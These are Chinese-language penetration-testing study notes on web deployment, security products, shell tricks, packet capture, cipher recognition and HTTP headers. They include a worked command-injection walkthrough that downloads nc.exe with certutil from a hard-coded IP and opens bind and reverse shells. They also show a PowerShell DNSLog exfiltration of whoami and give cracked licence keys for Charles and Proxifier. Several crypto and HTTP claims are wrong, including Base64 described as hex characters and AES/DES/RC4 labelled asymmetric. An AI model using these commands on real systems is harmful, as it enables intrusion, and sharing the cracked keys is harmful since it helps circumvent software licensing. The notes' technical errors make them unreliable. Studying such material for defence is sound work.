网安基本概念解释
1 Web应用
1.1 基本概念
系统:Windows Server、Linux……
常规Web应用搭建:
- 购买云服务器,购买域名
- 在云服务器搭建中间件
- 下载并上传Web程序源码
- 添加网站并绑定域名目录
常规搭建方式:
- 子域名站(
www.hyperplasma.top、kina.hyperplasma.top、api.hyperplasma.top……) - 端口站(
www.hyperplasma.top:443、www.hyperplasma.top:8080……) - 目录站(
www.hyperplasma.top/game……) - 其他搭建方式(详见后述):集成软件(宝塔、phpStudy)、Docker容器、分配站(cnblog、凡科建站)
中间件——配置:
- 身份验证
- 目录权限
- 解析规则:MIME类型
网站数据库:
- 本地一致(和网站在同一台服务器)
- 站库分离
- 独立服务器的数据库
- 云数据库应用
Web程序源码:
- 类型:
- 开源
- 源码可见
- 源码不可见:不可代码审计(白盒测试)
- 加密(ASP代码加密)
- 语言特性决定(
.java源码编译为.class字节码文件)
- 商业
- 自用
- 开源
- 结构组成:
- 数据库目录
- 后台目录
- 文件目录
路由访问:
- 绝对路径、相对路径
- 常规访问(根据网站目录结构访问文件):URL与文件目录直接对应
- 路由配置(Java、Python Web等):URL与文件目录对应不上,需根据配置路由决定
1.2 常见搭建模式
常规化搭建:
- 原理:源码数据都在同服务器
- 影响:无(常规安全测试手法)
站库分离:
- 原理:源码数据库不在同服务器
- 存储:其他服务器上数据库;云数据库产品
- 影响:数据被单独存放,能连接才可影响数据
前后端分离:
- 原理:前端JS框架,API传输数据
- 影响:
- 前端页面大部分不存在漏洞
- 后端管理大部分不在同域名
- 获得权限有可能不影响后端(原因即第2条)
集成软件(宝塔、phpStudy):
- 原理:软件式搭建,打包类集成化环境,权限配置或受控制
- 影响:攻击者权限(执行
whoami命令来确认用户)各异,宝塔、phpStudy以及自行搭建的IIS(Internet Information Services,运行在Windows操作系统上的Web服务器软件,类似于Apache、NGINX)网站(参照组)的对比如下——- 宝塔(最新版):文件管理锁定目录;命令无法执行
- phpStudy:可以执行命令
- IIS网站:可以执行部分命令
Docker容器:
- 原理:虚拟化技术独立磁盘空间,非真实物理环境
- 影响:攻击者位于虚拟空间硬盘
建站平台(cnblog、凡科建站):
- 原理:利用别人域名模板建立,查询域名可分辨是否为分配站
- 模式:托管 + 申请
- 影响:实质安全测试非目标资产(攻击者攻击基于凡科建立的站点,攻击的是凡科自身服务器)
纯静态(纯HTML网站):
- 原理:数据没有传输性(JS传输除外)
- 影响:无漏洞
伪静态(Z-blog等伪静态博客):
- 原理:动态转静态技术(伪装的静态)
1.3 安全产品
WAF(Web Application Firewall,Web应用防火墙):
- 原理:提供保护
- 分类
- 非嵌入型
- 硬件型WAF:以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听时只记录攻击不拦截。
- 代表产品:Imperva、天清WAG
- 软件型WAF:以软件形式安装在服务器上,可以直接检测服务器是否存在Webshell,即是否有文件被创建等。
- 代表产品:安全狗、云锁、D盾
- 云WAF:一般以反向代理的形式工作,通过配置NS或CNAME记录,使得对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将被认为无害的请求报文再发送给实际网站服务器进行请求,可认为是带防护功能的CDN。
- 代表产品:阿里云云盾,腾讯云WAF等
- 硬件型WAF:以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听时只记录攻击不拦截。
- 嵌入型
- 网站内置的WAF(自定义WAF):直接镶嵌在代码中,即开发人员为了网站的安全,在可能遭受攻击的地方增加一些安全防护代码,例如过滤敏感字符、对潜在的威胁字符进行编码/转义等。网站内置的WAF与业务更加契合。
- 非嵌入型
- 影响:常规Web安全测试手段会受到拦截
- 演示:Windows Server 2012 + IIS + 免费D盾防护软件
CDN(Content Delivery Network,内容分发网络):
- 原理:内容分发服务,提高访问速度
- 阿里云备案域名全局CDN加速服务步骤:
- 配置宝塔的域名绑定(
xx.xxx.xx.xxx→www.hyperplasma.top) - 配置CDN加速选项(例如为中国全境等)
- 添加DNS(CNAME记录),等待几分钟后即生效
- 配置宝塔的域名绑定(
- 影响:隐藏真实源IP,导致对目标测试错误
- 演示:Windows Server 2012 + 宝塔Windows面板 + 阿里云CDN
OSS(Object Storage Service,对象存储服务):
- 原理:使用第三方存储避免静态资源占用大量带宽,提高访问速度,节省存储空间
- 阿里云OSS配置步骤:
- 开通OSS
- 新建Bucket
- 配置Bucket属性
- 配置Access访问
- 影响:上传或解析的文件均来自OSS资源
- 资源单独存储,修复上传安全
- 文件解析不复存在
- 但仍存在AccessKey泄漏安全隐患
- 演示:Windows Server 2012 + Cloudreve(网盘服务) + 阿里云OSS,具体使用过程如下——
- 启动应用
- 登录管理
- 配置存储信息
- 更改用户组存储属性
反向代理(Reverse Proxy):
- 代理方式对比:
- 正向代理(Forward Proxy):客户端服务,客户端主动建立代理访问目标(不代理不可达)
- 案例:翻
- 反向代理:服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
- 案例:
pan.hyperplasma.top
- 案例:
- 正向代理(Forward Proxy):客户端服务,客户端主动建立代理访问目标(不代理不可达)
- 原理:通过网络反向代理转发真实服务达到访问目的
- 影响:访问目标只是一个代理,非真实应用服务器
- 注:正代和反代都是为了解决访问不可达的问题,但由于反代中多了个可以重定向解析的功能操作,导致反代出的站点指向和真实应用毫无关系!
- 演示:Windows Server 2012 + 宝塔Windows面板 + NGINX反代配置
负载均衡(Load Balance):
- 原理:分摊到多个操作单元上进行执行,共同完成工作任务
- 影响:有多个服务器加载服务,测试过程中存在多个目标情况
- 演示:Windows Server 2012 + 宝塔Windows面板 + NGINX负载均衡
- NGINX示例配置如下:
# 定义负载设置(声明、权重)
upstream loadb {
server 47.94.236.117:80 weight=2;
server 47.122.22.195:80 weight=1;
}
# 定义访问路径、访问策略
location / {
proxy_pass http://loadb/;
}
2 APP/小程序应用
APP开发架构:
- 原生开发:安卓一般使用Java语言开发,现在亦多用Kotlin语言进行开发。具体编程方式略,即使用安卓提供的一系列控件来实现页面,复杂页面可通过自定义控件来实现。
- 安全影响:
- 反编译:提取源码;提取源码中资产;提取资产进行常规测试
- 抓包:抓数据包提取资产;资产类型常规测试
- 从逆向的角度去分析逻辑设计安全
- 演示:IDEA/Android Studio项目
- 安全影响:
- Web封装:Web App软件开发通俗讲就是开发一个网站,然后加入App的壳。Web App一般非常小,内容均为App内的网页展示,受制于网页技术本身,可实现功能少;而且每次打开几乎所有内容都需要重新加载,反应速度慢,内容加载过多易卡死,用户体验差;但Web App内的交互设计等非常有效。Web App的开发周期有长有短,需要的技术人员少,成本低。(本质就是Web)
- 安全影响:常规Web安全测试
- 演示:变色龙App封装网页
- H5开发:使用H5开发有诸多好处,最重要的好处为可多端复用,例如浏览器端、iOS端,当然H5开发体验必然不如原生好。根据此前项目经历,一般情况下若某页面需要被分享出去,则用H5开发。(前后端分离)
- 安全影响:API、JS框架安全问题;JS前端测试
- 演示:Vue项目
- Flutter开发:Flutter是近年来谷歌推出的一款UI框架,使用Dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可媲美原生。但Flutter技术较新,生态还不完善,开发效率相对偏低。
微信小程序应用开发架构:
- 原生开发:微信开发者工具项目,同其他安卓App
- Web封装:同一般Web App(本质就是Web)
- H5开发:同一般H5 App(前后端分离)
3 渗透命令
相关阅读:Linux命令、CMD命令、PowerShell命令
3.1 文件上传下载
解决无图形化、数据传输问题
命令生成:棱角工具库文件下载命令快捷生成
- Linux命令:
wget、curl、python、ruby、perl、java等 - Windows命令:PowerShell、Certutil、Bitsadmin、msiexec、mshta、rundll32等
尽可能使用快捷生成命令,以下为一句示例:
certutil.exe -urlcache -split -f http://47.94.236.117:80/nc.exe c:\\nc.exe
3.2 反弹Shell
解决数据回显、数据通讯问题
命令生成:棱角工具库反弹Shell在线生成、新版反弹Shell生成器
正向连接:本地监听等待对方连接(谁监听就控制谁)
- Linux控制Windows:
- Windows绑定CMD到本地5566端口:
nc -e cmd -lvp 5566 - Linux主动连接目标5566:
ncat 47.122.23.131 5566
- Windows绑定CMD到本地5566端口:
- Windows控制Linux:
- Linux绑定SH到本地5566端口:
ncat -e /bin/sh -lvp 5566 - Windows主动连接目标5566:
nc 47.94.236.117 5566
- Linux绑定SH到本地5566端口:
反向连接:主动给端口监听(谁监听就控制对方)
- Linux控制Windows:
- Windows将CMD权限交给5566端口:
nc -e cmd 47.122.23.131 5566 - Linux监听5566端口:
ncat -lvp 5566
- Windows将CMD权限交给5566端口:
- Windows控制Linux:
- Linux将SH权限交给5566端口:
ncat -e /bin/sh 47.122.23.131 5566 - Windows监听5566端口:
nc -lvvp 5566
- Linux将SH权限交给5566端口:
连接方向应用场景:
- 绕过防火墙——防火墙策略对应手段:
- 开启入站策略:入站限制,采用反向连接
- 开启出站策略:出站限制(一般也会连带限制入站),采用正向连接
- 连接内网服务器:采用反向连接,让内网主机主动连出去
管道运算符:
|(管道符):将前一个命令的输出作为后一个命令的输入,实现进程间通信。【例】ls -l | grep ".txt"||(逻辑或):当前一个命令执行失败(返回非0状态码)时,才执行后一个命令。【例】rm file.txt || echo "文件删除失败"&&(逻辑与):当前一个命令执行成功(返回0状态码)时,才执行后一个命令。【例】mkdir new_dir && cd new_dir&(后台任务):将命令放入后台执行,不阻塞当前终端交互。【例】python long_running_script.py &` `(反引号)【Linux特有】:用于命令替换,将反引号内的命令执行结果作为字符串替换到当前位置,极为强大。【例】cp file.txt backup_`date +%Y%m%d`.txt;:顺次执行多个命令,彼此独立且不关心执行结果。【例】echo "开始执行"; ls; echo "执行结束"
【例1】RCE(Remote Code/Command Execution)漏洞(攻击者通过应用程序漏洞远程执行任意代码或操作系统命令的安全缺陷)案例——利用某IP地址输入框存在的漏洞控制目标Windows系统:
- 判断是Windows:输入
127.0.0.1 | whoami,返回iz8nhhgtiuldwtz/administrator(Windows中管理员用户名为administrator,Linux系统则应为root) - 该Windows没有自带nc,需自行上传nc来反弹权限。从棱角工具库生成下载命令(选择CMD - Certutil),组装管道命令得
127.0.0.1 | certutil.exe -urlcache -split -f http://47.94.236.117:80/nc.exe c:\\nc.exe,输入即可 - 反弹操作
- 正向:输入
127.0.0.1 | c:\\nc.exe -e cmd -lvvp 5566,本机(Linux系统)连接目标ncat 47.122.23.131 5566 - 反向:输入
127.0.0.1 | c:\\nc.exe -e cmd 47.94.236.117 5566,本机监听ncat -lvvp 5566
- 正向:输入
3.3 带外查询
可利用数据访问外部网站(如DNSLog.cn)来带出去,解决数据不回显的问题。
接收数据流程(以http://你的IP/getdata.php?data=数据为例,其中数据为要带外的信息):
- 搭建
http://你的IP/getdata.php - 编写
getdata.php接收data的数据,数据赋给变量($x) - 服务器接收带该变量的值,将值进行处理
【例2】对于上一小节例1中的目标Windows系统,试图让其执行等价于Linux系统上的以下命令,其中可通过DNSLog.cn生成域名并检查ping以获取whoami的结果(对于以该方式获取的不回显的数据通常采用带外查询):
ping `whoami`.d8wm9d.dnslog.cn
Windows操作系统默认的CMD无法使用Linux终端的反引号运算符,但可以用powershell变量赋值解决上述问题,其中还需进行反斜杠字符替换(暂且任意替换)。最终拼接的语句如下:
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.d8wm9d.dnslog.cn';$z=$x+$y;ping $z
4 抓包技术
工具概述
4.1 HTTP/S抓包
Web数据抓包工具:
- Charles:30天试用
- 破解:选择
Enter Charles Lisence...,输入以下内容后重启即破解- Registered Name:
https://zhile.io - License Key:
48891cf209c6d32bf4
- Registered Name:
- 破解:选择
- Fiddler(10天试用)
- 开启抓取HTTPS:
工具选项中要勾选HTTPS
- 开启抓取HTTPS:
- Burp Suite(社区版)
- 配置代理(Proxy):使用时需在系统设置配置代理,默认服务器为
127.0.0.1,端口为8080(HTTP、HTTPS)。关闭软件后记得取消代理。
- 配置代理(Proxy):使用时需在系统设置配置代理,默认服务器为
转发工具:
- Proxifier(分为多个版本):
- 破解:安装软件后即弹出注册码输入窗口,Name任意,Registration Key请根据版本自行谷歌(例如Mac V3版为
3CWNN-WYTP4-SD83W-ASDFR-84KEA) - 建立代理服务器:进入
Profile > Proxy Servers...,点击Add添加代理服务器,输入地址和端口号即可 - 设置代理规则:进入
Profile > Proxification Rules...点击Add添加规则- 基于进程筛选(Applications)
- 基于IP或域名筛选(Target Hosts)
- 基于端口筛选(Target Ports)
- 破解:安装软件后即弹出注册码输入窗口,Name任意,Registration Key请根据版本自行谷歌(例如Mac V3版为
准备工作:浏览器/安卓模拟器安装证书,才能抓HTTPS
- 导出证书文件(多种方式):
- 使用Charles:选择
Help > SSL Proxying > Save Charles Root Certificate...,保存.pen证书文件。 - 使用Fiddler:选择
工具 > 选项(Mac版为Preferences),进入HTTPS选项卡,选择动作 > Export Root Certificate to Desktop(Mac版需先Trust CA Certificate,再点击Export)导出.crt证书文件至桌面 - 使用Burp Suite:选择
Proxy选项卡,点击Options(或⚙ Proxy settings),在Tools > Proxy中点击Import / export CA certificate,选择Export的Certificate in DER format,设置导出目录与文件名(.der格式)
- 使用Charles:选择
- 安卓模拟器安装证书:
.pen与.crt格式:将导出的证书文件放入安卓模拟器某目录下,进入设置 > 安全 > 从SD卡安装(证书),安装证书文件(任意取名).der格式:在Burp Suite中监听该地址(例如192.168.1.6:8888),然后在安卓模拟器的浏览器中访问本地网卡的地址,点击右上角即可下载证书,后缀改为.cer可按上述方式安装证书。
- 本机浏览器安装证书:
- 使用谷歌浏览器(其他浏览器同理):进入
设置,搜索栏搜索“证书”,进入与管理证书相关的选项 - macOS通过钥匙串访问(Keychain Access)应用来导入证书:钥匙串分为“登录”(当前用户专用)和“系统”(所有用户共享),根据需求选择后进入
证书选项卡,点击菜单栏文件 > 导入项目...导入证书即可。
- 使用谷歌浏览器(其他浏览器同理):进入
应用:
- 浏览器Web:仅使用Burp Suite时需要配置代理
- App应用(安卓模拟器)
- 需先安装证书:见前述
- 配置代理:本地抓包工具无法直接抓取安卓模拟器收发的数据包,模拟器中必须配置代理(类似Burp),代理服务器主机名为本机网络IP地址(Windows使用
ipconfig、macOS或Linux使用ifconfig、部分Linux系统还可用ip addr命令查看),代理服务器端口同工具中设置(Fiddler默认8888)。除此之外,还需在工具中如下配置:- 使用Fiddler:在
设置 > HTTPS设置下捕获HTTPS连接-解密HTTPS通信中选择...从远程客户端(新版无需) - 使用Burp Suite:在
Proxy settings中Add一条代理接口,Binding中端口可设为8888,地址选择Specific address设为本机网络IP地址 - 使用Charles:进入
Proxy > External Proxies Settings..启用带外代理(HTTP、HTTPS),同前述一样输入地址和端口即可。
- 使用Fiddler:在
- 小程序(本地微信运行)
- Burp特殊抓包方式(此种方式Burp无需配置代理选项)
- Charles和Burp转发联动
- Proxifier和Burp转发联动
- 配置代理:同前述
- Burp特殊抓包方式(此种方式Burp无需配置代理选项)
- PC应用(本地运行):Burp特殊抓包方式、配置代理方式同小程序
4.2 其他协议抓包
可以抓取TCP等协议传输数据的抓包工具:
应用:APP、小程序、PC应用
渗透测试步骤:
- 抓包得到应用的资产信息(IP、域名等)
- 针对该IP、域名上的服务做测试
- Web服务——Web攻防:API接口、OSS资源、云安全……
- 端口服务8:数据库、第三方软件等
逆向破解分类:
- 反编译,从源码中寻找资产信息
- 从源码中泄露的配置Key测试安全性
- 直接看代码和产品的设计逻辑安全(不规范的加密、可绕过的策略、自己删除验证重打包绕过验证等)
检测防护——APP/小程序抓不到:
- 打不开
- 直接崩溃
5 算法分析
5.1 分析对象
Web算法分析:
- 传输数据:安全测试漏洞时,通过会进行数据的修改/增加/提交测试。数据应以正确的格式发送、接收。
- 常用加密算法:
- Base64:由数字
0~9和字母a~f组成的字符串,大小写敏感,结尾通常有符号= - URL:由数字
0~9和字母a~f组成的字符串,大小写敏感,通常以%数字字母间隔 - HEX:将数据进行十六进制转换,由
0~9、A~F组成 - ASCII:将128个字符进行进制数表示,常见ASCII码表大小规则:
0~9<A~Z<a~z
- Base64:由数字
- 常用编码算法:
- MD5:32或16位,由数字
0~9和字母a~f组成的字符串
- MD5:32或16位,由数字
- 影响:漏洞探针
- 常用加密算法:
- 传输数据格式:JSON、XML等
- 影响:发送漏洞探针,回显数据分析。
- 密文存储:用户密码等
- 加密算法:
- MD5:见前述
- SHA1:40位,类似于MD5
- NTLM:Windows的哈希密码,标注通讯安全协议
- AES、DES、RC4:非对称加密算法,引入密钥,密文特征类似于Base64
- 影响:安全后渗透测试
- 加密算法:
- 源代码加密:PHP、JS
- 影响:代码审计、逆向破解
系统算法分析(Windows系统NTLM、Linux系统暂略)、第三方应用算法分析(MSSQL、MySQL数据库):
- 影响:安全后渗透测试
代码保护:Java、.NET、安卓、ISO,逆向保护(exe、jar)
- 影响:代码审计、逆向破解
目前大部分解密(如MD5解密)都是碰撞式解密(逐位组合计算),而非算法逆向的还原解密,解密难度随复杂度呈指数飙升。
识别算法编码的方法:
- 看密文位数
- 看密文的特征(数字、字母、大小写、符号等)
- 看当前密文所处地方(Web、数据库、操作系统等应用)
5.2 算法识别/解密
相关工具:MD5在线解密、CaptfEncoder
单向散列加密:MD5、SHA、MAC、CRC
- 优点:方便存储,损耗低;加密/加密对于性能的损耗微乎其微。
- 缺点:存在暴力破解的可能性,最好通过加盐值(Salt)提高安全性;此外可能存在散列冲突。MD5加密是可破解的。
- MD5密文特点:32或16位,由数字
0~9和字母a~f组成的字符串 - 解密需求:密文即可(无密钥等);但使用碰撞式解密,复杂明文极难解出
Base64编码特点:
- 由数字和字母组成,区分大小写
- 一般情况下密文尾部都会有
=(编码结果4个字符1组,最后一组只有1个字符则补等号),明文很少时则没有 - 明文越长密文越长,密文中一般不会出现
/
对称加密:DES、AES、RC4
- 优点:对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
- 缺点:发送方和接收方必须商定好密钥,且双方都需保存好密钥,密钥管理成为双方的负担。
- DES、AES密文特点:类似于Base64,但一般会出现
/和+ - 解密需求:需要密文、模式、加密key、偏移量才可解出;使用逆向解密,满足要求时成功率高
非对称加密:RSA、RSA2、PKCS
- 优点:与对称加密相比安全性更好,加解密需要不同密钥,公钥和私钥都可进行相互的加解密。
- 缺点:加解密花费时间长、速度慢,只适合对少量数据进行加密。
- RSA密文特点:特征类似于AES、DES,但长度较长
- 解密需求:密文、公钥或私钥任一即可解出
密文存储、数据传输实例:
- 密码存储(后端处理)
- 数据通讯:博客登录(前端处理)、墨者靶场(后端处理)
安全测试中密文解密总方向:
- 看密文特征分析:可以分析出算法则直接解密(见本节所有加密技术介绍),否则下一步
- 获取源码分析算法:后端处理加密
- JS前端处理加密:抓包获取JS源码
6 HTTP/S数据表
6.1 请求/响应Headers
部分请求头:
| 请求Header | 解释 |
|---|---|
Accept |
指定客户端能够接收的内容类型 |
Accept-Charset |
浏览器可以接受的字符编码集 |
Accept-Encoding |
指定浏览器可以支持的Web服务器返回内容压缩编码类型 |
Accept-Language |
浏览器可接受的语言 |
Accept-Ranges |
可以请求网页实体的一个或者多个子范围字段 |
Authorization |
HTTP授权的授权证书 |
Cache-Control |
指定请求和响应遵循的缓存机制 |
Connection |
表示是否需要持久连接(HTTP 1.1默认进行持久连接) |
Cookie |
HTTP 请求发送时,会把保存在该请求域名下的所有Cookie值一起发送给Web服务器。 |
Content-Length |
请求的内容长度 |
Content-Type |
请求的与实体对应的MIME信息 |
Date |
请求发送的日期和时间 |
Expect |
请求的特定的服务器行为 |
From |
发出请求的用户的Email |
Host |
指定请求的服务器的域名和端口号 |
If-Match |
只有请求内容与实体相匹配才有效 |
If-Modified-Since |
如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 |
If-None-Match |
如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 |
If-Range |
如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag |
If-Unmodified-Since |
只在实体在指定时间之后未被修改才请求成功 |
部分响应头:
| 响应Header | 解释 |
|---|---|
Accept-Ranges |
表明服务器是否支持指定范围请求及哪种类型的分段请求 |
Age |
从原始服务器到代理缓存形成的估算时间(以秒计,非负) |
Allow |
对某网络资源的有效的请求行为,不允许则返回405 |
Cache-Control |
告诉所有的缓存机制是否可以缓存及哪种类型 |
Content-Encoding |
Web服务器支持的返回内容压缩编码类型。 |
Content-Language |
响应体的语言 |
Content-Length |
响应体的长度 |
Content-Location |
请求资源可替代的备用的另一地址 |
Content-MD5 |
返回资源的MD5校验值 |
Content-Range |
在整个返回体中本部分的字节位置 |
Content-Type |
返回内容的MIME类型 |
Date |
原始服务器消息发出的时间 |
ETag |
请求变量的实体标签的当前值 |
Expires |
响应过期的日期和时间 |
Last-Modified |
请求资源的最后修改时间 |
Location |
用来重定向接收方到非请求URL的位置来完成请求或标识新的资源 |
Pragma |
包括实现特定的指令,它可应用到响应链上的任何接收方 |
Proxy-Authenticate |
指出认证方案和可应用到代理的该URL上的参数 |
Retry-After |
如果实体暂时不可取,通知客户端在指定时间之后再次尝试 |
Server |
Web服务器软件名称 |
Set-Cookie |
设置Http Cookie |
6.2 请求方法
常见的请求方法:
| 方法 | 解释 | 应用 |
|---|---|---|
GET |
向特定资源发出请求 | 请求指定页面信息,并返回实体主体(常规请求) |
POST |
向指定资源提交数据进行处理请求,或可能导致新的资源的建立或原有资源的修改 | 提交表单、上传文件、用户登录 |
HEAD |
与服务器索与GET请求一致的相应,响应体不会返回,获取包含在小消息头中的原信息 |
与GET请求类似,返回的响应中没有具体内容,用于获取报头 |
PUT |
向指定资源位置上传最新内容 | 从客户端向服务器传送的数据取代指定文档的内容;与POST的区别:PUT为幂等,POST为非幂等 |
TRACE |
回显服务器收到的请求 | 用于测试和诊断;TRACE是HTTP请求方式之中最安全的 |
DELETE |
请求服务器删除request-URL所标示的资源 | 请求服务器删除页面 |
OPTION |
返回服务器针对特定资源所支持的HTML请求方法,或Web服务器发送测试服务器功能 | 允许客户端查看服务器性能 |
CONNECT |
HTTP/1.1协议中能够将连接改为管道方式的代理服务器 | - |
6.3 响应状态码
容错识别处理:看响应状态码,可识别以下内容
- 数据是否正常
- 文件是否存在
- 地址自动跳转
- 服务提供错误
常见的状态码:
1xx:指示信息——表示请求已接收,继续处理2xx:成功——表示请求已经被成功接收、理解、接受200 OK:客户端请求成功
3xx:重定向——要完成请求必须进行更进一步的操作301 redirect:页面永久性移走,服务器进行重定向跳转302 redirect:页面暂时性移走,服务器进行重定向跳转,具有被劫持的安全风险- 遇到此类状态有以下两种原因:
- 容错处理:网站访问错误自动跳转至某页面——原页面不存在
- 访问某文件自动触发跳转——存在
4xx:客户端错误——请求有语法错误或请求无法实现400 BadRequest:由于客户端请求有语法错误,不能被服务器所理解401 Unauthonzed:请求未经授权403 Forbidden:服务器收到请求,但是拒绝提供服务404 NotFound:请求的资源不存在(例如输入了错误的URL)
5xx:服务器端错误——服务器未能实现合法的请求500 InternalServerError:服务器发生不可预期的错误,无法完成客户端的请求503 ServiceUnavailable:服务器当前无法处理客户端的请求
请求工具使用:
- Burp操作流程:
Intercept On→ 选择一条request右键Send to Intruder→ 在第1行请求方法后路径中输入内容并选中后Add §(§中匹配Payload position的内容随时可变动)→ Payload configuration中Add一系列Payload内容 - Postman用于API测试,详见Java系列教程。
思路点:
- 数据包唯一性:安全测试、部分测试需数据包一致
- 数据包可修改性:通过数据包修改、增加等测试安全问题
7 ChatGPT
安全行业影响:
- 整合多种恶意软件
- 提升漏洞发现能力
- 给新手攻击者赋能
- 便于社会工程学攻击
- 快速筛选和锁定目标
- 模拟网络防御攻击技术
kk